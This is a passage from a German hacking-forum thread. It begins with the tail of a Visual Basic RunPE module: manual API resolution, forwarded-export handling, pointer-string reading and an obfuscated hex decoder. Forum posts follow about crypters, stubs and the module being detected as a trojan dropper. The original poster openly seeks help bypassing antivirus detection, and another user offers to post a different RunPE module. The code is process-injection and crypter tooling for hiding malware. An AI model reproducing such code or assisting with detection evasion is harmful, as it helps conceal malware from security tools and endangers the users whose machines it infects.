GetProcAddress = GetProcAddress(lMod, sProc)
Else
GetProcAddress = 0
End If
End If
Exit Function
End If
Next
End With
End Function
Private Function ResolveForward( _
ByVal lAddress As Long, _
ByRef lLib As Long, _
ByRef sMod As String)
Dim sForward As String
sForward = StringFromPtr(lAddress)
If InStr(1, sForward, ".") Then
lLib = LoadLibrary(Split(sForward, ".")(0))
sMod = Split(sForward, ".")(1)
End If
End Function
Private Function StringFromPtr( _
ByVal lAddress As Long) As String
Dim bChar As Byte
Do
CpyMem bChar, ByVal lAddress, 1
lAddress = lAddress + 1
If bChar = 0 Then Exit Do
StringFromPtr = StringFromPtr & Chr$(bChar)
Loop
End Function
Private Function nlfpkgnrj(ByVal sData As String) As String
Dim i As Long
For i = 1 To Len(sData) Step 2
nlfpkgnrj = nlfpkgnrj & Chr$(Val("&H" & Mid$(sData, i, 2)))
Next i
End Function
20.03.2010, 20:22
blackberry
Und was spricht eigentlich dagegen euer eigenes RunPE Modul zu programmieren?
20.03.2010, 20:32
locos
Kannst du ja gerne tun wenn du es kannst.
Es gibt in Visual Basic keine injections methoden die nicht auf RunPE
basieren. Warum neu schreiben wenn es hunderte verschiedene Mods gibt ?
Ich selber könnte es auch nicht wenn ich erlich bin, aber wie dem auch sei
das ist nicht das Thema des Threades.
Greetz
20.03.2010, 20:52
blackberry
Zitat:
Zitat von locos
Kannst du ja gerne tun wenn du es kannst.
Kann ich, habe ich. Allerdings nicht in VB, sondern in C. (da hat man wenigstens gescheite Header, die die PE-Strukturen und WinAPI-Funktionen definieren; das man das bei VB selber definieren muss sagst einem auch schon für welche Tätigkeiten MS VB (nicht) konzepiert hat)
Zitat:
Zitat von locos
Es gibt in Visual Basic keine injections methoden die nicht auf RunPE
basieren.
Und wieso nicht?
Wenn du mit RunPE dieses spezielle Modul meinst und nicht die Technik, dann wäre es ein echtes Armutszeugnis, wenn jeder das nur kopiert.
Falls du mit RunPE die benutzte Technik meinst, so ist zu sagen, dass du auch auf andere Weise einen Crypter realisieren kannst.
Dabei müsstest du zwar die Stub in ASM schreiben, aber den Crypter könntest du nach wie vor in VB schreiben.
Zitat:
Zitat von locos
Ich selber könnte es auch nicht wenn ich erlich bin, aber wie dem auch sei
das ist nicht das Thema des Threades.
Ich verstehe nicht wie das NICHT Thema des Threads sein kann.
Wenn du dich darüber beschwerst, dass das Modul, das du benutzt erkannt wird wäre es doch das Beste dir dein eigenes Modul zu schreiben.
MfG. BlackBerry
20.03.2010, 21:04
locos
Zitat:
Zitat von BlackBerry
Ich verstehe nicht wie das NICHT Thema des Threads sein kann.
Wenn du dich darüber beschwerst, dass das Modul, das du benutzt erkannt wird wäre es doch das Beste dir dein eigenes Modul zu schreiben.
Ich habe mich in keinem meiner beträge beschwert das, dass module erkannt wird.
Habe ledentlich gefragt ob mir wer helfen kann die Detection zu umgehen.
Naja will nicht diskutieren hier,
suche eigentlich nur hilfe für das Dropper problem.
Greetz
09.06.2015, 05:26
Trillium
AW: RunPe wird als Tr.Dropper erkannt ?!
Es gibt ein Currency RunPe module von Sonnykuccio kann es die Tage mal posten ;)
Ich habe mich in keinem meiner beträge beschwert das, dass module erkannt wird.
Habe ledentlich gefragt ob mir wer helfen kann die Detection zu umgehen.
Naja will nicht diskutieren hier,
suche eigentlich nur hilfe für das Dropper problem.
Greetz
Er hat dir ja die Lösung verraten. Schreib deinen eigenen Code.